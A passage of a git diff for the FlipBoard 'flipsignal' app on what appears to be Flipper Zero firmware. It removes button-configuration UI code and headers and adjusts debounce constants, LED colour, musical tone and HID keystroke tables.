- * @param context The ButtonModel. - * @param index The index of the item that was clicked. -*/ -static void item_clicked(void* context, uint32_t index) { - ButtonModel* bm = (ButtonModel*)context; - uint8_t message_index = button_model_get_message_index(bm); - if(index == message_index) { - FURI_LOG_D("Flipboard", "Message index clicked"); - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - furi_assert(button_config); - - text_input_set_header_text(button_config->text_input, "Enter message"); - if(button_model_get_message(bm)) { - strncpy( - button_model_get_temp_buffer(bm), - furi_string_get_cstr(button_model_get_message(bm)), - button_model_get_temp_buffer_size(bm) - 1); - } else { - button_model_get_temp_buffer(bm)[0] = 0; - } - - view_set_previous_callback( - text_input_get_view(button_config->text_input), - get_menu_callback(button_config->view_item_list_id)); - - text_input_set_result_callback( - button_config->text_input, - message_updated, - bm, - button_model_get_temp_buffer(bm), - button_model_get_temp_buffer_size(bm), - false); - - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_text_input_id); - - return; - } - - uint8_t keystroke_index = button_model_get_keystroke_index(bm); - if(index == keystroke_index) { - FURI_LOG_D("Flipboard", "Keystroke index clicked"); - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - - uint16_t keycode = 0; - button_model_append_keystroke(bm, keycode, 1); - - populate_variable_item_list(button_config, bm); - return; - } - - if(index > message_index && index < keystroke_index) { - uint32_t item = (index - message_index); - if(item % 2 == 0) { - FURI_LOG_D("Flipboard", "Count clicked. Ignorning"); - return; - } - - item = item / 2; - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - if(button_config->keystroke_selector == NULL) { - return; - } - - view_set_previous_callback( - keystroke_selector_get_view(button_config->keystroke_selector), - get_menu_callback(button_config->view_item_list_id)); - - Keystroke keystroke = button_model_get_keystroke(bm, (uint8_t)item); - keystroke_selector_set_key(button_config->keystroke_selector, keystroke.button_code); - button_model_set_temp_index(bm, (uint8_t)item); - keystroke_selector_set_callback( - button_config->keystroke_selector, keystroke_selector_callback, bm); - - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_keystroke_selector_id); - - return; - } - - FURI_LOG_D("Flipboard", "Unknown index clicked %ld", index); -} - -/** - * @brief populate_variable_item_list adds the variable items to the list. - * @details populate_variable_item_list adds the variable items to the list. It starts - * by resetting the list. Then it adds the items based on the fields in the - * ButtonConfig and the ButtonModel. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. -*/ -static void populate_variable_item_list(ButtonConfig* button_config, ButtonModel* bm) { - variable_item_list_reset(button_config->item_list); - uint8_t item_index = 0; - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldColorDown) { - populate_variable_item_list_color( - button_config, bm, "Press color", color_down_changed, button_model_get_color_down(bm)); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldColorUp) { - populate_variable_item_list_color( - button_config, bm, "Release color", color_up_changed, button_model_get_color_up(bm)); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldFrequency) { - populate_variable_item_list_frequency( - button_config, bm, "Music note", tone_changed, button_model_get_frequency(bm)); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldMessage) { - variable_item_list_add(button_config->item_list, "Message", 0, NULL, NULL); - variable_item_list_set_enter_callback(button_config->item_list, item_clicked, bm); - button_model_set_message_index(bm, item_index); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & - ButtonModelFieldKeystrokes) { - item_index += populate_variable_item_list_keystrokes(button_config, bm); - variable_item_list_add(button_config->item_list, "Add Keystroke", 0, NULL, NULL); - variable_item_list_set_enter_callback(button_config->item_list, item_clicked, bm); - button_model_set_keystroke_index(bm, item_index); - item_index++; - } -} - -/** - * @brief item_callback is called when a button is selected in the menu. - * @details item_callback is called when a button is selected in the menu. It - * sets the ButtonConfig in the ButtonModel. It then populates the - * VariableItemList with the settings for the button. Finally, it switches to - * the VariableItemList view. - * @param context The ButtonConfig. - * @param index The index of the button that was selected. -*/ -static void item_callback(void* context, uint32_t index) { - ButtonConfig* button_config = (ButtonConfig*)context; - FlipboardModel* model = button_config->model; - ButtonModel* bm = flipboard_model_get_button_model(model, index); - if(!bm) { - FURI_LOG_E("TAG", "Index=%ld bm=NULL", index); - } else { - FURI_LOG_D("TAG", "Index=%ld bm.button_id=%d", index, button_model_get_button_id(bm)); - } - - furi_assert(bm && button_model_get_button_id(bm) == index); - button_model_set_button_config(bm, button_config); - populate_variable_item_list(button_config, bm); - variable_item_list_set_selected_item(button_config->item_list, 0); - - if(button_config->view_dispatcher) { - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_item_list_id); - } -} - -/** - * @brief Allocate and initialize ButtonConfig structure. - * @details Allocate and initialize ButtonConfig structure. Applications can - * pass in a list of keys to be used for the keystroke selector. - * @param model The FlipboardModel. - * @param config_view_id The view id for the configure view. - * @param keys The list of keys to be used for the keystroke selector. - * @param shift_keys The list of shift keys to be used for the keystroke selector. - * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is - * used for the number of columns. -*/ -ButtonConfig* button_config_alloc( - FlipboardModel* model, - uint32_t config_view_id, - KeystrokeSelectorKey* keys, - KeystrokeSelectorKey* shift_keys, - uint8_t rows) { - ButtonConfig* button_config = (ButtonConfig*)malloc(sizeof(ButtonConfig)); - button_config->view_dispatcher = NULL; - button_config->model = model; - button_config->menu_buttons = submenu_alloc(); - button_config->view_menu_buttons_id = config_view_id; - button_config->text_input = text_input_alloc(); - button_config->view_text_input_id = 0; - button_config->keystroke_selector = - (keys == NULL) ? NULL : keystroke_selector_alloc(keys, shift_keys, rows); - button_config->view_keystroke_selector_id = 0; - button_config->item_list = variable_item_list_alloc(); - button_config->view_item_list_id = 0; - view_set_previous_callback( - variable_item_list_get_view(button_config->item_list), get_menu_callback(config_view_id)); - - FuriString* button_name = furi_string_alloc(); - - bool single = flipboard_model_get_single_button_mode(model); - - int display_count = 0; - for(int i = 1; i < 16;) { - display_count++; - furi_string_printf(button_name, "Action %d (", display_count); - if(i == 15) { - furi_string_cat_printf(button_name, "all buttons"); - } else { - furi_string_cat_printf(button_name, "button"); - if(i != 1 && i != 2 && i != 4 && i != 8) { - furi_string_cat_printf(button_name, "s"); - } - furi_string_cat_printf(button_name, " "); - int btn = 0; - if(i & 1) { - furi_string_cat_printf(button_name, "1"); - btn |= 1; - if(btn != i) { - furi_string_cat_printf(button_name, ", "); - } - } - if(i & 2) { - furi_string_cat_printf(button_name, "2"); - btn |= 2; - if(btn != i) { - furi_string_cat_printf(button_name, ", "); - } - } - if(i & 4) { - furi_string_cat_printf(button_name, "3"); - btn |= 4; - if(btn != i) { - furi_string_cat_printf(button_name, ", "); - } - } - if(i & 8) { - furi_string_cat_printf(button_name, "4"); - btn |= 8; - } - } - furi_string_cat_printf(button_name, ")"); - submenu_add_item( - button_config->menu_buttons, - furi_string_get_cstr(button_name), - i, - item_callback, - button_config); - if(single) { - i = i << 1; - } else { - i++; - } - } - submenu_set_header(button_config->menu_buttons, "Configure Action"); - - return button_config; -} - -/** - * @brief button_config_free releases allocated resources. - * @param button_config The ButtonConfig to free. -*/ -void button_config_free(ButtonConfig* button_config) { - if(button_config->view_dispatcher != NULL) { - if(button_config->view_item_list_id) { - view_dispatcher_remove_view( - button_config->view_dispatcher, button_config->view_item_list_id); - } - - if(button_config->view_text_input_id) { - view_dispatcher_remove_view( - button_config->view_dispatcher, button_config->view_text_input_id); - } - - if(button_config->view_keystroke_selector_id) { - view_dispatcher_remove_view( - button_config->view_dispatcher, button_config->view_keystroke_selector_id); - } - } - variable_item_list_free(button_config->item_list); - submenu_free(button_config->menu_buttons); - text_input_free(button_config->text_input); - if(button_config->keystroke_selector) { - keystroke_selector_free(button_config->keystroke_selector); - } - free(button_config); -} - -/** - * @brief Get view of ButtonConfig structure. - * @details This function return view of ButtonConfig structure. It is used to add ButtonConfig - * view to ViewDispatcher. - * @param button_config Pointer to ButtonConfig structure. - * @return Pointer to view of ButtonConfig structure. -*/ -View* button_config_get_view(ButtonConfig* button_config) { - return submenu_get_view(button_config->menu_buttons); -} - -/** - * @brief Get view id of ButtonConfig structure. - * @details This function return view id of ButtonConfig structure. It is used to add ButtonConfig - * view to the application menu. - * @param button_config Pointer to ButtonConfig structure. - * @return View id of ButtonConfig structure. -*/ -uint32_t button_config_get_view_id(ButtonConfig* button_config) { - return button_config->view_menu_buttons_id; -} - -/** - * @brief button_config_register_dispatcher registers the ViewDispatcher. - * @param button_config The ButtonConfig. - * @param view_dispatcher The ViewDispatcher. -*/ -void button_config_register_dispatcher( - ButtonConfig* button_config, - ViewDispatcher* view_dispatcher) { - button_config->view_dispatcher = view_dispatcher; -} - -/** - * @brief button_config_register_variable_item_list registers the VariableItemList. - * @details button_config_register_variable_item_list registers the VariableItemList. The - * VariableItemList is used to show the configuration of a button. - * @param button_config The ButtonConfig. - * @param variable_item_list_view_id The view id for the VariableItemList. -*/ -void button_config_register_variable_item_list( - ButtonConfig* button_config, - uint32_t variable_item_list_view_id) { - furi_assert(button_config->view_dispatcher != NULL); - button_config->view_item_list_id = variable_item_list_view_id; - view_dispatcher_add_view( - button_config->view_dispatcher, - button_config->view_item_list_id, - variable_item_list_get_view(button_config->item_list)); -} - -/** - * @brief button_config_register_text_input registers the TextInput. - * @details button_config_register_text_input registers the TextInput. The - * TextInput is used to enter a message. - * @param button_config The ButtonConfig. - * @param text_input_id The view id for the TextInput. -*/ -void button_config_register_text_input(ButtonConfig* button_config, uint32_t text_input_id) { - furi_assert(button_config->view_dispatcher != NULL); - button_config->view_text_input_id = text_input_id; - view_dispatcher_add_view( - button_config->view_dispatcher, - button_config->view_text_input_id, - text_input_get_view(button_config->text_input)); -} - -/** - * @brief button_config_register_keystroke_selector registers the KeystrokeSelector. - * @details button_config_register_keystroke_selector registers the KeystrokeSelector. The - * KeystrokeSelector is used to select a keystroke. - * @param button_config The ButtonConfig. - * @param keystroke_selector_id The view id for the KeystrokeSelector. -*/ -void button_config_register_keystroke_selector( - ButtonConfig* button_config, - uint32_t keystroke_selector_id) { - furi_assert(button_config->view_dispatcher != NULL); - if(button_config->keystroke_selector == NULL) { - return; - } - button_config->view_keystroke_selector_id = keystroke_selector_id; - view_dispatcher_add_view( - button_config->view_dispatcher, - button_config->view_keystroke_selector_id, - keystroke_selector_get_view(button_config->keystroke_selector)); -} diff --git a/applications/external/flipsignal/common/button_config.h b/applications/external/flipsignal/common/button_config.h deleted file mode 100644 index a599d700126..00000000000 --- a/applications/external/flipsignal/common/button_config.h +++ /dev/null @@ -1,100 +0,0 @@ -#pragma once - -/** - * @file button_config.h - * @brief This file contains the ButtonConfig type and related functions. - * @details This file contains the ButtonConfig type and related functions. - * The button_config module is responsible for managing the configuration of a - * button on the Flipboard. When you press multiple buttons at the same time, - * it is treated as a virtual button (so there are really 15 buttons that can - * be configured). -*/ - -#include -#include -#include "keystroke_selector.h" - -typedef struct FlipboardModel FlipboardModel; -typedef struct ButtonConfig ButtonConfig; - -/** - * @brief Allocate and initialize ButtonConfig structure. - * @details Allocate and initialize ButtonConfig structure. Applications can - * pass in a list of keys to be used for the keystroke selector. - * @param model The FlipboardModel. - * @param config_view_id The view id for the configure view. - * @param keys The list of keys to be used for the keystroke selector. - * @param shift_keys The list of shift keys to be used for the keystroke selector. - * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is - * used for the number of columns. - */ -ButtonConfig* button_config_alloc( - FlipboardModel* model, - uint32_t config_view_id, - KeystrokeSelectorKey* keys, - KeystrokeSelectorKey* shift_keys, - uint8_t keyboard_rows); - -/** - * @brief button_config_free releases allocated resources. - * @param button_config The ButtonConfig to free. - */ -void button_config_free(ButtonConfig* button_config); - -/** - * @brief Get view of ButtonConfig structure. - * @details This function return view of ButtonConfig structure. It is used to add ButtonConfig - * view to ViewDispatcher. - * @param button_config Pointer to ButtonConfig structure. - * @return Pointer to view of ButtonConfig structure. - */ -View* button_config_get_view(ButtonConfig* button_config); - -/** - * @brief Get view id of ButtonConfig structure. - * @details This function return view id of ButtonConfig structure. It is used to add ButtonConfig - * view to the application menu. - * @param button_config Pointer to ButtonConfig structure. - * @return View id of ButtonConfig structure. - */ -uint32_t button_config_get_view_id(ButtonConfig* button_config); - -/** - * @brief button_config_register_dispatcher registers the ViewDispatcher. - * @param button_config The ButtonConfig. - * @param view_dispatcher The ViewDispatcher. - */ -void button_config_register_dispatcher( - ButtonConfig* button_config, - ViewDispatcher* view_dispatcher); - -/** - * @brief button_config_register_variable_item_list registers the VariableItemList. - * @details button_config_register_variable_item_list registers the VariableItemList. The - * VariableItemList is used to show the configuration of a button. - * @param button_config The ButtonConfig. - * @param variable_item_list_view_id The view id for the VariableItemList. - */ -void button_config_register_variable_item_list( - ButtonConfig* button_config, - uint32_t variable_item_list_view_id); - -/** - * @brief button_config_register_text_input registers the TextInput. - * @details button_config_register_text_input registers the TextInput. The - * TextInput is used to enter a message. - * @param button_config The ButtonConfig. - * @param text_input_id The view id for the TextInput. -*/ -void button_config_register_text_input(ButtonConfig* button_config, uint32_t text_input_id); - -/** - * @brief button_config_register_keystroke_selector registers the KeystrokeSelector. - * @details button_config_register_keystroke_selector registers the KeystrokeSelector. The - * KeystrokeSelector is used to select a keystroke. - * @param button_config The ButtonConfig. - * @param keystroke_selector_id The view id for the KeystrokeSelector. -*/ -void button_config_register_keystroke_selector( - ButtonConfig* button_config, - uint32_t keystroke_selector_id); diff --git a/applications/external/flipsignal/common/button_model.h b/applications/external/flipsignal/common/button_model.h deleted file mode 100644 index 1933d4cfcca..00000000000 --- a/applications/external/flipsignal/common/button_model.h +++ /dev/null @@ -1,245 +0,0 @@ -#pragma once - -/** - * @file button_model.h - * @brief This file contains the ButtonModel type and related functions. - * @details This file contains the ButtonModel type and related functions. - * The ButtonModel type is used to store the settings for a button, for - * example the color, frequency, message, and keystrokes. - */ - -#include -#include - -typedef struct ButtonModel ButtonModel; - -typedef struct { - uint16_t button_code; - uint8_t count; -} Keystroke; - -typedef enum { - ButtonModelFieldNone = 0, - ButtonModelFieldColorUp = 1 << 0, - ButtonModelFieldColorDown = 1 << 1, - ButtonModelFieldFrequency = 1 << 2, - ButtonModelFieldMessage = 1 << 3, - ButtonModelFieldKeystrokes = 1 << 4, - ButtonModelFieldAll = (1 << 5) - 1, -} ButtonModelFields; - -/** - * @brief Allocates a new button model. - * @param button_id The button id for the model. - * @return The new button model. - */ -ButtonModel* button_model_alloc(uint8_t button_id); - -/** - * @brief Allocates a new button model from a FlipperFormat. - * @param button_id The button id for the model. - * @param flipper_format The FlipperFormat to load from. - * @return The new button model. -*/ -ButtonModel* button_model_alloc_from_ff(uint8_t button_id, FlipperFormat* flipper_format); - -/** - * @brief Frees a button model. - * @param model The model to free. - */ -void button_model_free(ButtonModel* model); - -/** - * @brief Gets the button id for the model. - * @param model The model to get the button id for. - * @return The button id for the model. - */ -uint8_t button_model_get_button_id(ButtonModel* model); - -/** - * @brief Gets the HEX color when the button is not pressed. - * @param model The model to get the color for. - * @return The hex color for when button is up. - */ -uint32_t button_model_get_color_up(ButtonModel* model); - -/** - * @brief Gets the HEX color when the button is pressed. - * @param model The model to get the color for. - * @return The hex color for when button is pressed down. - */ -uint32_t button_model_get_color_down(ButtonModel* model); - -/** - * @brief Gets the index of the menu item for editing the message. - * @param model The model to get the message index for. - * @return The index of the menu item for editing the message. - */ -uint8_t button_model_get_message_index(ButtonModel* model); - -/** - * @brief Gets the index of the menu item for adding a keystroke. - * @param model The model to get the keystroke index for. - * @return The index of the menu item for adding a keystroke. - */ -uint8_t button_model_get_keystroke_index(ButtonModel* model); - -/** - * @brief Gets the temp buffer for editing the message. - * @param model The model to get the temp buffer for. - * @return The temp buffer for editing the message. - */ -char* button_model_get_temp_buffer(ButtonModel* model); - -/** - * @brief Gets the size of the temp buffer for editing the message. - * @param model The model to get the temp buffer size for. - * @return The size of the temp buffer for editing the message. - */ -size_t button_model_get_temp_buffer_size(ButtonModel* model); - -/** - * @brief Gets the index of the item being edited. - * @param model The model to get the temp index for. - * @return The index of the item being edited. - */ -uint8_t button_model_get_temp_index(ButtonModel* model); - -/** - * @brief Gets the button config associated with this model. - * @param model The model to get the button config for. - * @return The button config associated with this model. - */ -void* button_model_get_button_config(ButtonModel* model); - -/** - * @brief Gets the frequency for the button, in Hz. - * @param model The model to get the frequency for. - * @return The frequency for the button. - */ -float button_model_get_frequency(ButtonModel* model); - -/** - * @brief Gets the number of keystrokes for the button. - * @param model The model to get the keystrokes count for. - * @return The number of keystrokes for the button. - */ -uint8_t button_model_get_keystrokes_count(ButtonModel* model); - -/** - * @brief Gets the keystroke at the given index. - * @param model The model to get the keystroke for. - * @param index The index of the keystroke to get. - * @return The keystroke at the given index. - */ -Keystroke button_model_get_keystroke(ButtonModel* model, uint8_t index); - -/** - * @brief Gets the message for the button. - * @param model The model to get the message for. - * @return The message for the button. - */ -FuriString* button_model_get_message(ButtonModel* model); - -/** - * @brief Sets the HEX color when the button is not pressed. - * @param model The model to set the color for. - * @param color_up The hex color for when button is up. - */ -void button_model_set_color_up(ButtonModel* model, uint32_t color_up); - -/** - * @brief Sets the HEX color when the button is pressed. - * @param model The model to set the color for. - * @param color_down The hex color for when button is pressed down. - */ -void button_model_set_color_down(ButtonModel* model, uint32_t color_down); - -/** - * @brief Sets the index of the menu item for editing the message. - * @param model The model to set the message index for. - * @param index The index of the menu item for editing the message. - */ -void button_model_set_message_index(ButtonModel* model, uint8_t index); - -/** - * @brief Sets the index of the menu item for adding a keystroke. - * @param model The model to set the keystroke index for. - * @param index The index of the menu item for adding a keystroke. - */ -void button_model_set_keystroke_index(ButtonModel* model, uint8_t index); - -/** - * @brief Sets the index of the item being edited. - * @param model The model to set the temp index for. - */ -void button_model_set_temp_index(ButtonModel* model, uint8_t index); - -/** - * @brief Sets the button config associated with this model. - * @param model The model to set the button config for. - * @param button_config The button config associated with this model. - */ -void button_model_set_button_config(ButtonModel* model, void* button_config); - -/** - * @brief Sets the frequency for the button, in Hz. - * @param model The model to set the frequency for. - * @param frequency The frequency for the button. - */ -void button_model_set_frequency(ButtonModel* model, float frequency); - -/** - * @brief Sets the keystrokes and count for the button. - * @param model The model to set the keystrokes count for. - * @param index The index of the keystroke to set. - * @param button_code The key code to send when this key is pressed. - * @param count The number of keystrokes for the button. - * @return True if the keystroke was set, false otherwise. - */ -bool button_model_set_keystroke( - ButtonModel* model, - uint8_t index, - uint16_t button_code, - uint8_t count); - -/** - * @brief Appends a keystroke to the button. - * @param model The model to append the keystroke to. - * @param button_code The key code to send when this key is pressed. - * @param count The number of keystrokes for the button. - */ -void button_model_append_keystroke(ButtonModel* model, uint16_t button_code, uint8_t count); - -/** - * @brief Removes the last keystroke from the button. - * @param model The model to remove the keystroke from. - * @return True if the keystroke was removed, false otherwise. - */ -bool button_model_remove_last_keystroke(ButtonModel* model); - -/** - * @brief Sets the message for the button. - * @details Sets the message for the button. If the message is a space character, it will be - * be considered as empty string. - * @param model The model to set the message for. - * @param message The message for the button. - */ -void button_model_set_message(ButtonModel* model, const char* message); - -/** - * @brief Saves the button model to a FlipperFormat. - * @param model The model to save. - * @param flipper_format The FlipperFormat to save to. - * @param fields The fields to save. - * @return True if the model was saved, false otherwise. - */ -bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, ButtonModelFields fields); - -/** - * @brief Loads the button model from a FlipperFormat. - * @param model The model to load. - * @param flipper_format The FlipperFormat to load from. - * @return The fields that were loaded (ButtonModelFieldNone if not found) -*/ -ButtonModelFields button_model_load(ButtonModel* model, FlipperFormat* flipper_format); diff --git a/applications/external/flipsignal/common/button_monitor.c b/applications/external/flipsignal/common/button_monitor.c index ec37569fe4b..6016025cd55 100644 --- a/applications/external/flipsignal/common/button_monitor.c +++ b/applications/external/flipsignal/common/button_monitor.c @@ -1,13 +1,11 @@ #include "button_monitor_i.h" -// Left to right order of the switches. +// Left to right order of the switches on the FlipBoard. const GpioPin* const pin_sw1 = &gpio_ext_pb2; const GpioPin* const pin_sw2 = &gpio_ext_pb3; const GpioPin* const pin_sw3 = &gpio_ext_pa4; const GpioPin* const pin_sw4 = &gpio_ext_pa6; -static int32_t button_monitor_worker(void* context); - /** * @brief Allocates a new button monitor. * @details Allocates a new button monitor. The button monitor @@ -90,8 +88,8 @@ static SwitchIds button_monitor_get_pin_status() { static SwitchIds button_monitor_get_debounced_pin_status() { SwitchIds pin_status = 0; uint32_t counter = 0; - furi_delay_ms(50); - while(counter < 100) { + furi_delay_ms(DEBOUNCE_WAIT_MS); + while(counter < DEBOUNCE_SAME_MIN_COUNT) { SwitchIds new_pin_status = button_monitor_get_pin_status(); if(pin_status != new_pin_status) { counter = 0; diff --git a/applications/external/flipsignal/common/button_monitor.h b/applications/external/flipsignal/common/button_monitor.h index c34db9d78a3..5ae9f151a1d 100644 --- a/applications/external/flipsignal/common/button_monitor.h +++ b/applications/external/flipsignal/common/button_monitor.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file button_monitor.h * @brief This file contains the ButtonMonitor type and related functions. @@ -9,6 +7,8 @@ * when a button event occurs. */ +#pragma once + #include #include diff --git a/applications/external/flipsignal/common/button_monitor_i.h b/applications/external/flipsignal/common/button_monitor_i.h index bd6da553ca2..e42ee93e9b4 100644 --- a/applications/external/flipsignal/common/button_monitor_i.h +++ b/applications/external/flipsignal/common/button_monitor_i.h @@ -5,6 +5,13 @@ #include "button_monitor.h" +// How long to wait after initial press is detected before sampling the switch. +// TODO: Can we decrease this so we are most responsive? +#define DEBOUNCE_WAIT_MS 50 + +// How many samples need to be the same before the switch is considered debounced. +#define DEBOUNCE_SAME_MIN_COUNT 100 + struct ButtonMonitor { // GPIO state from previous scan. SwitchIds last_pins; @@ -21,3 +28,5 @@ struct ButtonMonitor { // The context for the callback. void* context; }; + +static int32_t button_monitor_worker(void* context); diff --git a/applications/external/flipsignal/common/config_colors.h b/applications/external/flipsignal/common/config_colors.h index 868d208a795..39d10af97cb 100644 --- a/applications/external/flipsignal/common/config_colors.h +++ b/applications/external/flipsignal/common/config_colors.h @@ -1,14 +1,34 @@ -#pragma once - /** * @file config_colors.h * @brief The configuration of the colors. - * @details The configuration of the LED colors. Feel free to add more colors, - * but be sure to add them to the color_names and color_values arrays. + * @details The configuration of the LED colors. + * + * Define DEFINE_COLOR_NAMES_AND_VALUES if you want color_names and color_values arrays. + * Feel free to add more colors, but be sure to add them to the color_names and color_values arrays. */ +#pragma once + #include +/** + * @brief The HEX value of red, green and blue LED brightness + * (0xRRGGBB format). 00=off, FF=full brightness. +*/ +enum LedColors { + LedColorBlack = 0x000000, + LedColorRed = 0xFF0000, + LedColorOrange = 0xFF1F00, + LedColorYellow = 0xFF7F00, + LedColorGreen = 0x00FF00, + LedColorCyan = 0x00FFFF, + LedColorBlue = 0x0000FF, + LedColorViolet = 0x1F00FF, + LedColorMagenta = 0x7F00FF, + LedColorWhite = 0xFFFFFF, +}; + +#ifdef DEFINE_COLOR_NAMES_AND_VALUES /** * @brief The names of the colors. * @details The index of the color in this array is the same as @@ -27,23 +47,6 @@ static char* color_names[] = { "White", }; -/** - * @brief The HEX value of red, green and blue LED brightness - * (0xRRGGBB format). 00=off, FF=full brightness. -*/ -enum LedColors { - LedColorBlack = 0x000000, - LedColorRed = 0xFF0000, - LedColorOrange = 0xFF1F00, - LedColorYellow = 0xFF7F00, - LedColorGreen = 0x00FF00, - LedColorCyan = 0x00FFFF, - LedColorBlue = 0x0000FF, - LedColorViolet = 0x1F00FF, - LedColorMagenta = 0x7F00FF, - LedColorWhite = 0xFFFFFF, -}; - /** * @brief The values of the colors. * @details The index of the color in this array is the same as @@ -60,4 +63,5 @@ static uint32_t color_values[] = { LedColorViolet, LedColorMagenta, LedColorWhite, -}; \ No newline at end of file +}; +#endif \ No newline at end of file diff --git a/applications/external/flipsignal/common/config_keystroke.h b/applications/external/flipsignal/common/config_keystroke.h index 8894dc702ee..5a52bc015bc 100644 --- a/applications/external/flipsignal/common/config_keystroke.h +++ b/applications/external/flipsignal/common/config_keystroke.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file config_keystroke.h * @brief The configuration of the keystrokes. @@ -13,16 +11,23 @@ * keystroke. This array should start at value 0, and increment by 1s. */ +#pragma once + #include /** * @brief The HID values of the keystrokes. * @details The index of the keystroke in this array is the same as - * the index of the keystroke in the keystroke_names array. + * the index of the keystroke in the keystroke_names array. + * @note The VariableItemList has a max size of 255 entries. */ uint16_t keystroke_values[] = { HID_KEYBOARD_NONE, // Not mapped 1, // Delay + 0xF1, // Message 1 + 0xF2, // Message 2 + 0xF3, // Message 3 + 0xF4, // Message 4 // hid_keymap HID_KEYBOARD_L_CTRL, // HID_KEYBOARD_L_CTRL @@ -285,10 +290,10 @@ uint16_t keystroke_values[] = { HID_KEYBOARD_INTERNATIONAL_7, // HID_KEYBOARD_INTERNATIONAL_7 HID_KEYBOARD_INTERNATIONAL_8, // HID_KEYBOARD_INTERNATIONAL_8 HID_KEYBOARD_INTERNATIONAL_9, // HID_KEYBOARD_INTERNATIONAL_9 - HID_KEYBOARD_LANG_1, // HID_KEYBOARD_LANG_1 - HID_KEYBOARD_LANG_2, // HID_KEYBOARD_LANG_2 - HID_KEYBOARD_LANG_3, // HID_KEYBOARD_LANG_3 - HID_KEYBOARD_LANG_4, // HID_KEYBOARD_LANG_4 + // HID_KEYBOARD_LANG_1, // HID_KEYBOARD_LANG_1 + // HID_KEYBOARD_LANG_2, // HID_KEYBOARD_LANG_2 + // HID_KEYBOARD_LANG_3, // HID_KEYBOARD_LANG_3 + // HID_KEYBOARD_LANG_4, // HID_KEYBOARD_LANG_4 // HID_KEYBOARD_LANG_5, // HID_KEYBOARD_LANG_5 // HID_KEYBOARD_LANG_6, // HID_KEYBOARD_LANG_6 // HID_KEYBOARD_LANG_7, // HID_KEYBOARD_LANG_7 @@ -300,9 +305,10 @@ uint16_t keystroke_values[] = { * @brief The HID values of the keystrokes. * @details The index of the keystroke in this array is the same as * the index of the keystroke in the keystroke_names array. + * @note The VariableItemList has a max size of 255 entries. */ char* keystroke_names[] = { - "None", "Delay", + "None", "Delay", "Msg 1", "Msg 2", "Msg 3", "Msg 4", "L-CTRL", "R-CTRL", "L-SHIFT", "R-SHIFT", "L-ALT", "R-ALT", "L-WIN", "R-WIN", @@ -376,12 +382,9 @@ char* keystroke_names[] = { "F20", "F21", "F22", "F23", "F24", "INTL 1", "INTL 2", "INTL 3", "INTL 4", "INTL 5", "INTL 6", "INTL 7", - "INTL 8", "INTL 9", "LANG 1", "LANG 2", "LANG 3", "LANG 4", - // "LANG 5", - // "LANG 6", - // "LANG 7", - // "LANG 8", - // "LANG 9", + "INTL 8", "INTL 9", + // "LANG 1", "LANG 2", "LANG 3", "LANG 4", + // "LANG 5", "LANG 6", "LANG 7", "LANG 8", "LANG 9", }; /** diff --git a/applications/external/flipsignal/common/config_tones.h b/applications/external/flipsignal/common/config_tones.h index 2ecafc27fd9..c92a001dd3e 100644 --- a/applications/external/flipsignal/common/config_tones.h +++ b/applications/external/flipsignal/common/config_tones.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file config_tones.h * @brief Configuration file for the tones. @@ -9,6 +7,8 @@ * the same as the index of the tone in the tone_names array. */ +#pragma once + /** * @brief The frequency of the tones in HZ. * @details The index of the tone in this array is the same as @@ -65,6 +65,22 @@ float tone_values[] = { 1479.98, // F#6 1567.98, // G6 1661.22, // G#6 + 1760.00, // A6 + 1864.66, // A#6 + 1975.53, // B6 + // + 2093.00, // C7 + 2217.46, // C#7 + 2349.32, // D7 + 2489.02, // D#7 + 2637.02, // E7 + 2793.83, // F7 + 2959.96, // F#7 + 3135.96, // G7 + 3322.44, // G#7 + 3520.00, // A7 + 3729.31, // A#7 + 3951.07, // B7 }; /** @@ -72,8 +88,14 @@ float tone_values[] = { * @details The index of the tone in this array is the same as * the index of the tone in the tone_values array. */ -char* tone_names[] = {"Off", "C3", "C#3", "D3", "D#3", "E3", "F3", "F#3", "G3", "G#3", - "A3", "A#3", "B3", "C4", "C#4", "D4", "D#4", "E4", "F4", "F#4", - "G4", "G#4", "A4", "A#4", "B4", "C5", "C#5", "D5", "D#5", "E5", - "F5", "F#5", "G5", "G#5", "A5", "A#5", "B5", "C6", "C#6", "D6", - "D#6", "E6", "F6", "F#6", "G6", "G#6", "A6", "A#6", "B6"}; \ No newline at end of file +char* tone_names[] = {"Off", // + "C3", "C#3", "D3", "D#3", "E3", "F3", // + "F#3", "G3", "G#3", "A3", "A#3", "B3", // + "C4", "C#4", "D4", "D#4", "E4", "F4", // + "F#4", "G4", "G#4", "A4", "A#4", "B4", // + "C5", "C#5", "D5", "D#5", "E5", "F5", // + "F#5", "G5", "G#5", "A5", "A#5", "B5", // + "C6", "C#6", "D6", "D#6", "E6", "F6", // + "F#6", "G6", "G#6", "A6", "A#6", "B6", // + "C7", "C#7", "D7", "D#7", "E7", "F7", // + "F#7", "G7", "G#7", "A7", "A#7", "B7"}; \ No newline at end of file diff --git a/applications/external/flipsignal/common/custom_event.h b/applications/external/flipsignal/common/custom_event.h index 0811287315b..c98690872b2 100644 --- a/applications/external/flipsignal/common/custom_event.h +++ b/applications/external/flipsignal/common/custom_event.h @@ -1,7 +1,14 @@ +/** + * @file custom_event.h + * @brief A collection of CustomEventIds. + * @details This file contains the custom event ids for the application. Register for events using: + * view_dispatcher_set_custom_event_callback(flipboard_get_view_dispatcher(app), custom_event_handler); +*/ + #pragma once typedef enum { - CustomEventButtonPress = 0x0000, - CustomEventAppMenuEnter = 0x2001, - CustomEventAppMenuExit = 0x2002, + CustomEventFlipboardButtonPress = 0x0000, // 